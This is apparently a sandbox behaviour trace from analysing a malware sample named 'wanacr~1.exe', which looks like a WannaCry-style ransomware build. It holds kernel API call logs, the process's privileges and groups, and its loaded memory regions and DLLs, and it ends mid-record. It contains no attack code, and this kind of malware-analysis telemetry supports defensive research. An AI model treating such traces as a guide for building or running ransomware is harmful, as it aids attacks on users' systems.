[0140.627] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.627] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.627] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.627] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.628] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.628] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.628] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.629] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.629] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.630] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.630] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.631] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.631] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.632] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.632] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.632] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.738] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.739] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.739] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.739] EngAllocMem () returned 0xfffff90142521030 [0140.739] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.739] MmMapViewOfSection (in: SectionObject=0xffffc00000f094a0, Process=0xffffe00001078440, BaseAddress=0xfffff90142521358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd0002103aed0, ViewSize=0xfffff90142521370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff90142521358*=0x4309780000, SectionOffset=0xffffd0002103aed0, ViewSize=0xfffff90142521370) returned 0x0 [0140.739] EngCreateBitmap () returned 0x720501a4 [0140.739] EngAssociateSurface () returned 0x1 [0140.739] EngLockSurface () returned 0xfffff9014087f028 [0140.739] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe000010fcd10 [0140.739] KeInitializeEvent (in: Event=0xffffe000010fcd28, Type=0x1, State=0 | out: Event=0xffffe000010fcd28) [0140.739] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.741] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0140.741] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.747] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.747] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0140.748] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.755] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0140.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.755] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0140.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.755] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.756] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0140.756] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.756] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.756] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0140.756] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.756] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.756] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0140.756] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.756] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.757] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0140.757] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.760] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.816] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0140.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.817] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.817] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.876] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.876] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0140.876] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.876] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.876] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0140.876] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.876] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.876] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.876] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.876] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.876] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.876] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.940] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0140.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.940] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0140.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.940] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.941] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.016] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.016] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0141.016] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.016] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.016] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0141.016] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.016] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.016] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0141.016] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.016] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.016] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0141.016] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.070] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.070] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0141.070] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.083] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0141.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.083] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0141.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.101] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.101] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0141.102] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.102] EngAllocMem () returned 0xfffff901409e3ca0 [0141.102] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.102] MmMapViewOfSection (in: SectionObject=0xffffc00001b04a40, Process=0xffffe00001078440, BaseAddress=0xfffff901409e3fc8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd0002103aed0, ViewSize=0xfffff901409e3fe0, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff901409e3fc8*=0x43097d0000, SectionOffset=0xffffd0002103aed0, ViewSize=0xfffff901409e3fe0) returned 0x0 [0141.102] EngCreateBitmap () returned 0xffffffffb00501bd [0141.102] EngAssociateSurface () returned 0x1 [0141.102] EngLockSurface () returned 0xfffff901408972c8 [0141.102] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe00001576830 [0141.102] KeInitializeEvent (in: Event=0xffffe00001576848, Type=0x1, State=0 | out: Event=0xffffe00001576848) [0141.102] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.103] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001576830) [0141.103] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.104] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.104] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001576830) [0141.104] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.104] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.104] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001576830) [0141.104] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.104] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.104] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001576830) [0141.104] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.104] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.104] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001576830) [0141.104] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.104] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.104] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001576830) [0141.105] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.105] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.105] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001576830) [0141.105] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.105] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.105] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001576830) [0141.105] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.150] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.150] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001576830) [0141.150] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.150] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.150] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0141.150] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.150] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.150] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0141.150] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.210] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.210] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001576830) [0141.210] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.210] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.211] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001576830) [0141.211] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.211] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.211] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0141.211] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.211] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.211] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0141.211] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.265] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.265] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001576830) [0141.265] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.265] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.265] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001576830) [0141.266] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.266] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.266] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0141.266] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.266] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.266] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0141.266] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.329] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.329] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001576830) [0141.329] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.329] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.329] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001576830) [0141.329] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.329] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.329] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0141.329] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.330] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.330] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0141.330] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.349] IoGetCurrentProcess () returned 0xffffe00001078440 [0141.349] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0141.349] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.433] MmUnmapViewOfSection (Process=0xffffe00001078440, BaseAddress=0x43097d0000) returned 0x0 [0141.433] MmUnmapViewOfSection (Process=0xffffe00001078440, BaseAddress=0x43062c0000) returned 0x0 Process: id = "80" image_name = "wanacr~1.exe" filename = "c:\\progra~1\\common~1\\wanacr~1.exe" page_root = "0x4bcf9000" os_pid = "0xa88" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "79" os_parent_pid = "0xa64" cmd_line = "C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c2aa" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 9701 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 9702 start_va = 0x2fb7650000 end_va = 0x2fb766ffff entry_point = 0x0 region_type = private name = "private_0x0000002fb7650000" filename = "" Region: id = 9703 start_va = 0x2fb7670000 end_va = 0x2fb767efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002fb7670000" filename = "" Region: id = 9704 start_va = 0x2fb7680000 end_va = 0x2fb7a7ffff entry_point = 0x0 region_type = private name = "private_0x0000002fb7680000" filename = "" Region: id = 9705 start_va = 0x2fb7a80000 end_va = 0x2fb7a83fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002fb7a80000" filename = "" Region: id = 9706 start_va = 0x7ff6ceee0000 end_va = 0x7ff6cef02fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6ceee0000" filename = "" Region: id = 9707 start_va = 0x7ff6cef0d000 end_va = 0x7ff6cef0efff entry_point = 0x0 region_type = private name = "private_0x00007ff6cef0d000" filename = "" Region: id = 9708 start_va = 0x7ff6cef0f000 end_va = 0x7ff6cef0ffff entry_point = 0x0 region_type = private name = "private_0x00007ff6cef0f000" filename = "" Region: id = 9709 start_va = 0x7ff6cf310000 end_va = 0x7ff6cf418fff entry_point = 0x7ff6cf33fa1c region_type = mapped_file name = "wanacr~1.exe" filename = "\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" (normalized: "c:\\progra~1\\common~1\\wanacr~1.exe") Region: id = 9710 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 9711 start_va = 0x2fb7a90000 end_va = 0x2fb7a91fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002fb7a90000" filename = "" Region: id = 9712 start_va = 0x2fb7aa0000 end_va = 0x2fb7aa1fff entry_point = 0x0 region_type = private name = "private_0x0000002fb7aa0000" filename = "" Region: id = 9713 start_va = 0x2fb7ab0000 end_va = 0x2fb7ecffff entry_point = 0x0 region_type = private name = "private_0x0000002fb7ab0000" filename = "" Region: id = 9714 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 9715 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 9716 start_va = 0x2fb7650000 end_va = 0x2fb765ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002fb7650000" filename = "" Region: id = 9717 start_va = 0x7ff6cede0000 end_va = 0x7ff6ceedffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6cede0000" filename = "" Region: id = 9718 start_va = 0x2fb7ed0000 end_va = 0x2fb7f4dfff entry_point = 0x2fb7ed0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 9719 start_va = 0x7ffd15300000 end_va = 0x7ffd15308fff entry_point = 0x7ffd15301080 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 9720 start_va = 0x7ffd152f0000 end_va = 0x7ffd152f9fff entry_point = 0x7ffd152f10c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 9721 start_va = 0x7ffd152d0000 end_va = 0x7ffd152eefff entry_point = 0x7ffd152d23f8 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 9722 start_va = 0x7ffd1af40000 end_va = 0x7ffd1b199fff entry_point = 0x7ffd1af44740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 9723 start_va = 0x7ffd17a20000 end_va = 0x7ffd17a3afff entry_point = 0x7ffd17a21050 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 9724 start_va = 0x2fb7660000 end_va = 0x2fb7666fff entry_point = 0x0 region_type = private name = "private_0x0000002fb7660000" filename = "" Region: id = 9725 start_va = 0x7ffd17f30000 end_va = 0x7ffd1816ffff entry_point = 0x7ffd17f313f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 9726 start_va = 0x7ffd1dd30000 end_va = 0x7ffd1dd36fff entry_point = 0x7ffd1dd31010 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 9727 start_va = 0x7ffd18a60000 end_va = 0x7ffd18a88fff entry_point = 0x7ffd18a67968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 9728 start_va = 0x7ffd1c330000 end_va = 0x7ffd1c34efff entry_point = 0x7ffd1c3312f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 9729 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 9730 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 9731 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 9732 start_va = 0x7ffd1f550000 end_va = 0x7ffd1f5e9fff entry_point = 0x7ffd1f5511a4 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 9733 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 9734 start_va = 0x7ffd1dd50000 end_va = 0x7ffd1f15efff entry_point = 0x7ffd1dd51100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 9735 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 9736 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 9737 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 9738 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = 